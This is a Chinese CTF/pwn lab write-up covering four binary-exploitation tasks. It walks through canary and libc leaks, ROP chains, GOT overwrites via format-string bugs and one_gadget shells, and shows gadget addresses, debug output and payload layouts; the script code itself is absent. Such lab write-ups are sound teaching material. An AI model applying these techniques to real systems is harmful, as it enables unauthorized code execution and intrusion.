Attention!
该界面内提到的任何代码与原程序都可在 https://github.com/nepl1t/nepl1t.github.io/tree/master/assets 内找到
Task1 ropbasic
Preparation
首先 checksec 一下程序,保护全开。 ROPgadget 只能找到一个 gadget:
❯ ROPgadget --binary ./ropbasic --only "pop|ret" Gadgets information ============================================================ 0x00000000000011d3 : pop rbp ; ret 0x000000000000101a : ret Unique gadgets found: 2
嗯,至少找到一个 rbp_ret_addr 是 0x00000000000011d3 了。
反编译一下:
| |
main() 的逻辑十分简单,每次将 s 开始的连续 0x100 个内存清零,然后输出,read() 0x1000个字节。肯定有栈溢出。
s 相对 rbp 的偏移地址为 0x110,考虑到程序开了 Canary,因此当务之急就是将其泄漏出来,否则栈溢出泄漏 libc 就无从说起。
Leaking Canary
根据代码知道,使用 gdb 停到 call memset 时:
0x555555555264 lea rax, [rbp - 0x110] RAX => 0x7fffffffd9f0 ◂— 0
0x55555555526b mov edx, 0x100 EDX => 0x100
0x555555555270 mov esi, 0 ESI => 0
0x555555555275 mov rdi, rax RDI => 0x7fffffffd9f0 ◂— 0
►0x555555555278 call memset@plt <memset@plt>
s: 0x7fffffffd9f0 ◂— 0
c: 0
n: 0x100
然后查询 rdi 与 rsp 的值:
*RDI 0x7fffffffd9f0 ◂— 0 RSP 0x7fffffffd9e0 ◂— 0
那么, 从 rdi (0x7fffffffd9f0)开始依次读取内存数据到 rsp (0x7fffffffdb00)的位置:
pwndbg> x /40gx 0x7fffffffd9f0 0x7fffffffd9f0: 0x0000000000000000 0x0000000000000000 0x7fffffffda00: 0x0000000000000000 0x0000000000000000 0x7fffffffda10: 0x0000000000000000 0x0000000000000000 0x7fffffffda20: 0x0000000000000000 0x0000000000000000 0x7fffffffda30: 0x0000000000000000 0x0000000000000000 0x7fffffffda40: 0x0000000000000000 0x0000000000000000 0x7fffffffda50: 0x0000000000000000 0x0000000000000000 0x7fffffffda60: 0x0000000000000000 0x0000000000000000 0x7fffffffda70: 0x0000000000000000 0x0000000000000000 0x7fffffffda80: 0x0000000000000000 0x0000000000000000 0x7fffffffda90: 0x0000000000000000 0x0000000000000000 0x7fffffffdaa0: 0x0000000000000000 0x0000000000000000 0x7fffffffdab0: 0x0000000000000000 0x0000000000000000 0x7fffffffdac0: 0x0000000000000000 0x0000000000000000 0x7fffffffdad0: 0x0000000000000000 0x0000000000000000 0x7fffffffdae0: 0x0000000000000000 0x0000000000000000 0x7fffffffdaf0: 0x0000000000000000 0xe719bae42bbeac00 0x7fffffffdb00: 0x0000000000000001 0x00007ffff7c29d90 0x7fffffffdb10: 0x0000000000000000 0x0000555555555230 0x7fffffffdb20: 0x0000000100000000 0x00007fffffffdc18 pwndbg>
考虑到 memset() 函数在这里只清空了 0x100 的数据 (一直到 0x7fffffffdaf0: 0x0000000000000000 ) ,而 0x7fffffffdaf8: 0xe719bae42bbeac00 ,这是一个 0x00 作结尾的数据,可以推测这就是 Canary,关于 s 的偏移值为 0x108。
| |
运行效果如下:
[DEBUG] Received 0x7 bytes:
b'input> '
[DEBUG] Sent 0x109 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB'
[DEBUG] Received 0x119 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000100 41 41 41 41 41 41 41 41 42 9f 7e 4b 15 b6 3e f9 │AAAA│AAAA│B·~K│··>·│
00000110 01 0a 69 6e 70 75 74 3e 20 │··in│put>│ │
00000119
[*] Canary:0xf93eb6154b7e9f00
得到 Canary 为 0xf93eb6154b7e9f00
程序没有检测到栈溢出,而是正常退出,这说明 Canary 成功泄漏并绕过了。
Leaking libc addr
由于开了 PIE,每次运行的基址都不一样,所以每次栈溢出 ROP 之前,都需要得到 libc 的地址。通过 objdump -d 可以发现程序里确实是有 libc_start_main() 的符号,我们可以找到它的地址,再减去其在 libc 中的偏移地址,从而得到 libc 地址。
首先,动态调试时(此时正在 read() 函数内)看到如下信息:
─────────────────────────[ BACKTRACE ]────────────────────────── ► 0 0x55555555526b 1 0x7ffff7c29d90 2 0x7ffff7c29e40 __libc_start_main+128 3 0x555555555125
因此可以判定, 0x55555555526b (作为 read() 函数的返回地址)位于 main() 内,因此 0x7ffff7c29d90 就是 main() 函数执行完后的返回地址。
注意到 0x7ffff7c29e40 ( 相对 0x7ffff7c29d90 是 0xb0)相对于 __libc_start_main() 的偏移值是 0x80 (128) ,因此可以得到 main() 的返回地址相对于 __libc_start_main() 的偏移值是 0x30 。通过前面栈溢出得到 main() 的返回地址后,我们就可以得到__libc_start_main() 的实际地址。
通过如下的 python 脚本,可以得到 libc 的地址:
| |
运行效果如下:
[DEBUG] Sent 0x118 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBCCDDEEFFGGHH'
[DEBUG] Received 0x126 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000100 41 41 41 41 41 41 41 41 41 41 42 42 43 43 44 44 │AAAA│AAAA│AABB│CCDD│
00000110 45 45 46 46 47 47 48 48 90 9d c2 42 38 77 0a 69 │EEFF│GGHH│···B│8w·i│
00000120 6e 70 75 74 3e 20 │nput│> │
00000126
b'\x90\x9d\xc2B8w\x00\x00'
[*] waitwhat? 0x773842c29d90
[*] main_return_addr: 0000773842C29D90
[*] __libc_start_main_addr:0000773842C29DC0
[*] libc_addr: 0000773842C00000
得到 libc 的地址为 0x0000773842C00000
Getting system shell
已经知道了 libc 的地址,那就从 libc 里面找 gadget:ROPgadget --binary ./libc.so.6 --only "pop|ret"
需要找一个 rdi_ret 与一个单独的 ret ,但是单独的 ret 空转的原因,上网说是因为ubuntu18及以上在调用system函数的时候会先进行一个检测,如果此时的栈没有16字节对齐的话,就会强行把程序crash掉,所以需要栈对齐 ,但我并没有看懂。无论如何,在 libc 里面找到了这样两个 gadgets:
0x000000000002a3e5 : pop rdi ; ret 0x0000000000029139 : ret
然后像下面这样构造 payload ,就可以直接获取 shell 了:
| |
运行效果如下:

成功获得 flag 为 AAA{oh_R0P_1s_b4b@b4b@s1c~}
Approach 2 ORW
ORW 即 open(file, olfag) read(fd, buf, n_bytes) 与 write(fd, buf, n_bytes) 。
所以要用 rdi 对应文件地址 file 用于 open, 对应 fd 项用于 read 与 write:在ORW中,我们需要设置 read 的 fd 为 3,表示从文件中读取,write的 fd 还是如常,依旧为 1 ;
用 rsi 对应 oflag 用于 open (由于只用读取就行了所以取 0 ),对应 buf 用于 read 与 write;
最后用 rdx 对应 n_bytes 用于 read 与 write 。
我们先前已经找到了 pop_rdi_ret 的 gadget了,接着找 rsi 与 rdx 的 :
| |
所以对于调用 open(rdi -> "./flags.txt", rsi -> 0) ,我们可以将栈写成这个样子:
pop_rdi_ret_addr | "./flags.txt" | pop_rsi_ret | 0x00000000 | open_addr |
|---|
对于调用 read(rdi -> 3, rsi -> oflag) ,
Task2 onerop
本题目的完整代码为 attachment 中的 pwnlab2_task2_code.py
Preparation & Leaking libc addr
checksec 一下,没有开 PIE 与 Canary,感觉比第一题友好多了,用 IDA 编译出来的 main() 也是十分简单:
| |
0x100 长的内存却给了 0x1000 的读入,妥妥的栈溢出。
用 ROPgadget 一看,甚至题目本身就有一些好用的 gadget:
0x00000000004011c5 : pop rdi ; ret 0x000000000040101a : ret 0x0000000000401181 : retf
再者,用 seccomp-tools dump 查看,发现程序没有开启沙箱,可以考虑 get shell 了。现在要做的就是泄漏 libc 基址,然后使用 libc 的 system(/bin/sh) 获取 shell 控制权。
同时,使用 gdb 动态调试,在 Backtrace 栏中发现
─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► 0 0x40131a main+336 1 0x7ffff7c2a1ca __libc_start_call_main+122 2 0x7ffff7c2a28b __libc_start_main+139 3 0x4010b5 _start+37
所以一开始的思路,就是利用栈溢出让 puts() 函数输出 main() 的返回地址(关于 __libc_start_call_main 的偏移地址是 +122),而 __libc_start_call_main 相对于 __libc_start_main 的偏移地址是 -0xB0 ,可以因此求出 __libc_start_main 的实际地址,然后求得 libc 的地址。但是由于没有循环,且正常流程只能进行一次输入,所以首次输入(尚不知道 libc 地址)就要构造 ROP 链使得 main() 返回到它自身,然后在第二次输入(此时已经知道 libc 地址)构造 ROP 链以获取 shell 控制权。
看起来很好,但是失败了——最后程序没有像设想的打开 shell,而是报段错误退出。为什么呢? Debug 后发现,我们在第一次输入时为了让 main() 返回到它自身,肯定要把原来 main() 的返回地址覆盖掉,所以我们用 puts() 函数输出的,其实是 main() 的地址,而不是__libc_start_call_main + 122 ,这个思路错了。
既然不能泄漏 main() 原来的返回地址,那就泄漏 main() 调用过的函数。看了一堆作题笔记后,发现 puts() 比较好弄:
我们第一次输入前,先求 puts() 的 plt 与 got 地址(因为 glibc 的延迟绑定机制),然后通过第一次输入把栈覆写成这个形式:
pop_rdi_ret_addr | puts_got | puts_plt | main_addr |
|---|
这样,我们在第一次输出后,main() 函数 return (执行第一个 ret 时 rbp 指向 pop_rdi_ret_addr )到 pop rdi; ret; 的 gadget, 就可以将 puts() 的实际地址(在 GOT 表内,所以是 puts_got )作为参数传给 rdi ,然后再次 return (执行第二个 ret 时 rbp 指向 puts_plt )到 puts() 函数从而输出它自己的实际地址,然后再 return 到 main() 函数。我们就可以用 puts() 函数的地址求 libc 的地址了。
代码如下:
| |
效果如下:

可以看到获取的 libc 地址为 0x00007F6506C9D000
Getting system shell
最后,按如下构造 payload ,可以获取 shell:
| |
运行后效果如下:

得到 flag 为 AAA{r0p_oN3_5Im3_ROP_f0r3ve3}
Task3 onefsb
本题目的完整代码为 attachment 中的 pwnlab2_task3_code.py
Preparation
checksec 一下,是关闭了 PIE 保护,同时打开的 Partial RELRO 的 64 位程序,注意到开了 Canary,栈溢出要小心点。
IDA 反编译一下,main() 基本逻辑是这样的:
| |
做这题的时候,我首先想到利用 FSB Bug ,使用类似于前两道 Task 的思路,先泄漏 main() 的返回地址从而获得 libc 地址,如果不方便获得 main() 的返回地址,就想办法泄漏其他函数的地址,然后利用 ROP 将程序 return 到 system('/bin/sh') 上,但是实际操作时遇到了只有一次利用 FSB 的机会,若劫持控制流就不能泄漏 main() 的返回地址 ,然后是 printf() 使用 %u 写入时导致段错误,以及直接写 ROP 链太麻烦等各种困难
然后就是(请求场外援助 sad 后得到的 hint) Partial RELRO ,它允许我们能够覆写 GOT 表,可不可以获取 system 的 GOT 表地址将其覆盖到 main() 要调用的一个函数在 GOT 表上的地址从而达到调用 system("/bin/sh") 的机会?结果也不行,一次利用 FSB 的限制不能让我做到这一点。那能不能用覆写 GOT 表从而做到无限利用 FSB ? 等等,main() 结束前怎么有一个 puts("bye") ,豁然开朗了:把 puts_got 变成 main() ,这样就让做完恶作剧的小鬼程序被狠狠脑控定身任我为非作歹 😡😡😡 ;至于 ROP 链,换成一个 one_gadget ,在这里找到的是这个:
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
在第一次 payload,要做的就是:劫持控制流,将 puts_got 覆写成 main() ,让程序想 “bye” 却被我狠狠脑控当场拿下
第二次,输出 printf() 地址从而获取 libc 地址,从而获得 one_gadget 的地址
第三次,就是将 puts_got 覆写成 one_gadget ,对我言听计从 😤😤😤
Getting offsets
首先打开程序,确定格式化字符串的相对偏移。打开程序,输入 AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p ,结果如下:

可以看到, AAAAAAAA ,即 0x4141414141414141 位于格式化字符串后的第六个偏移。
使用 gdb 调试, 输入 AAAAAAAA 后断点在 printf() 内,然后看栈内容,结果如下:
pwndbg> x /40gx $rsp 0x7fffffffdac8: 0x000000000040139e 0x4141414141414141 0x7fffffffdad8: 0x000000000000000a 0x0000000000000000 0x7fffffffdae8: 0x0000000000000000 0x0000000000000000 0x7fffffffdaf8: 0x0000000000000000 0x0000000000000000 0x7fffffffdb08: 0x0000000000000000 0x0000000000000000 0x7fffffffdb18: 0x0000000000000000 0x0000000000000000 0x7fffffffdb28: 0x0000000000000000 0x0000000000000000 0x7fffffffdb38: 0x0000000000000000 0x0000000000000000 0x7fffffffdb48: 0x0000000000000000 0x0000000000000000 0x7fffffffdb58: 0x0000000000000000 0x0000000000000000 0x7fffffffdb68: 0x0000000000000000 0x0000000000000000 0x7fffffffdb78: 0x0000000000000000 0x0000000000000000 0x7fffffffdb88: 0x0000000000000000 0x0000000000000000 0x7fffffffdb98: 0x0000000000000000 0x0000000000000000 0x7fffffffdba8: 0x0000000000000000 0x0000000000000000 0x7fffffffdbb8: 0x0000000000000000 0x0000000000000000 0x7fffffffdbc8: 0x0000000000000000 0x0000000000000000 0x7fffffffdbd8: 0xf53edbb42f9f1d00 0x0000000000000001 0x7fffffffdbe8: 0x00007ffff7c29d90 0x0000000000000000 0x7fffffffdbf8: 0x00000000004011fd 0x0000000100000000 pwndbg> p $rbp $3 = (void *) 0x7fffffffdbe0 pwndbg> p $rsp $4 = (void *) 0x7fffffffdac8
可以看到,输入的格式字符串 AAAAAAAA 位于栈的第二位,由于此时位于 printf() 函数内, 栈的最顶部 rbp 指向的是 printf() 的返回地址,所以不算做参数,同时由于是 64 位程序,前六个参数在寄存器内,所以格式字符串就是 printf() 的第七个参数,也就是格式化字符串( rdi )后的第六个偏移。
Hijacking control flow
首先就是拿下 puts() ,像这样构建 payload :
| |
运行,结果如下:

Leaking libc address
有了前面两道 Task 的经验,这次 leak 可以算很顺利了:
| |
运行结果如下:

可以看到最终得到的 libc 地址为 0x00007F3EDFC00000
Getting system shell
| |
运行效果如下:

成功获取 shell 的控制权。最终得到 flag 为 AAA{i_l0v3_fmtstr_payload_H0p3_u_Loveit_2} ,然而我自我感觉也许可能不会很 love it :D 卡了我两天(怨)
Task4 fsb-stack
本题目的完整代码为 attachment 中的 pwnlab2_task4_code.py
Preparation
checksec 一下,除了 Canary 以外保护全开(在 IDA 里反汇编也没看到 stack_check_fail )。 main() 反编译后的代码如下:
| |
自带无限次使用次数的 FSB 。打开程序,输入 AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p 确认格式字符串偏移,结果如下:

可以看到 AAAAAAAA 位于格式字符串后第六个偏移。
目前的想法就是,通过 printf() 泄漏出 main() 的返回地址得到 libc 地址。
但是打开了 FULL RELRO ,不能覆写 GOT 表,所以试试 ROP,利用格式字符串任意位置泄漏栈地址,然后利用任意写将 printf() 的返回地址设为 one_gadget。
Leaking libc address
通过 gdb 动态调试,断点进入 printf() 内,在栈中寻找到 main() 的返回地址相对于格式字符串的偏移位置。首先来看 Backtrace ,确定 printf() 的返回地址为 0x55555555528d ,位于 main() 内,则 main() 的返回地址为 0x7ffff7c29d90 ,而 0x7ffff7c29e40 相对 __libc_start_main 的偏移是 +128 ,所以 __libc_start_main 相对 main() 的返回地址 的偏移是 (-0xd90 + 0xe40) - 128 = +0x30 。
─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► 0 0x7ffff7c606f0 printf 1 0x55555555528d 2 0x7ffff7c29d90 3 0x7ffff7c29e40 __libc_start_main+128 4 0x5555555550e5 ──────────────────────────────────────────────────────────────────────────────── pwndbg>
接下来,在栈中找到 0x7ffff7c29d90 相对于格式字符串的偏移位置:
──────────────────────────────────────────────────────────────────────────────── pwndbg> x /100gx $rsp 0x7fffffffd9c8: 0x000055555555528d 0x7944734973696854 0x7fffffffd9d8: 0x7375446c65674e41 0x000000000a726574 0x7fffffffd9e8: 0x0000000000000000 0x0000000000000000 0x7fffffffd9f8: 0x0000000000000000 0x0000000000000000 < Skipped > 0x7fffffffdbc8: 0x0000000000000000 0x0000000000000000 0x7fffffffdbd8: 0x5b70ffa5294da700 0x0000000000000001 0x7fffffffdbe8: 0x00007ffff7c29d90 0x0000000000000000 0x7fffffffdbf8: 0x00005555555551f0 0x0000000100000000 < Skipped > 0x7fffffffdcb8: 0x00005555555550c0 0x00007fffffffdcf0 0x7fffffffdcc8: 0x0000000000000000 0x0000000000000000 0x7fffffffdcd8: 0x00005555555550e5 0x00007fffffffdce8 pwndbg>
可以看到, 0x00007ffff7c29d90 位于 0x7fffffffdbe8 处,而 rsp 指向 0x7fffffffd9c8 ,所以在栈中是第 69 位,因此就是格式字符串的第 73 位参数。事实上,若在调试时输入 %73$016llx ,程序确实会输出 00007ffff7c29d90 ,符合要求。
编写下面的 python 代码以获取 libc 基址:
| |
运行结果如下:

获得 libc 地址为 0x000079FB95A00000
Leaking stack address
由于栈之间的相对偏移应该不变,所以应该可以通过找到一个链:栈上一个位置 A ,其指向栈的另一个位置 B ,找到 A 、 B 其关于格式字符串的偏移位置。然后利用 printf() %x 向 B 的地址漏出来,因此就可以找出 rsp 的地址,最后就可以将 printf_ret_addr 改写成 one_gadget。
在一次动态调试中,我注意到了这样一个可以存在的链(注意红色字):
pwndbg> x /110gx $rsp 0x7fffffffd9c8: 0x000055555555528d 0x654a6568546e7552 0x7fffffffd9d8: 0x0000000a736c6577 0x0000000000000000 < skipped > 0x7fffffffdbc8: 0x0000000000000000 0x0000000000000000 0x7fffffffdbd8: 0xdf6e9e6f3d379b00 0x0000000000000001 0x7fffffffdbe8: 0x00007ffff7c29d90 0x0000000000000000 0x7fffffffdbf8: 0x00005555555551f0 0x0000000100000000 0x7fffffffdc08: 0x00007fffffffdcf8 0x0000000000000000 0x7fffffffdc18: 0x8843981ffe157fda 0x00007fffffffdcf8 < skipped > 0x7fffffffdce8: 0x000000000000001c 0x0000000000000001 0x7fffffffdcf8: 0x00007fffffffe083 0x0000000000000000 0x7fffffffdd08: 0x00007fffffffe0a8 0x00007fffffffe0be 0x7fffffffdd18: 0x00007fffffffe0e7 0x00007fffffffe15b 0x7fffffffdd28: 0x00007fffffffe1b1 0x00007fffffffe1c2 pwndbg>
0x7fffffffdc08 处的内存指向栈的另一处内存 0x00007fffffffdcf8 ,而 rsp 指向 0x7fffffffd9c8 ,所以 A 在栈中第 73 个位置,是相对格式字符串第 77 个参数,而 B 在栈中第 103 个位置, 相对 rsp 偏移值为 (103 - 1) * 8 = 0x330 。
编写如下 payload 获取 printf() 的返回地址:
| |
运行效果如下:

获得 printf() 栈基址为 0x00007FFF27F65378
Hijacking printf() return addr & getting system shell
编写如下 payload 以执行 system call shell 并获取flag:
| |
最终运行结果如下:

获得 flag 为 AAA{3sc@pe_f3Om_wh1l3_1_i5_E4sy}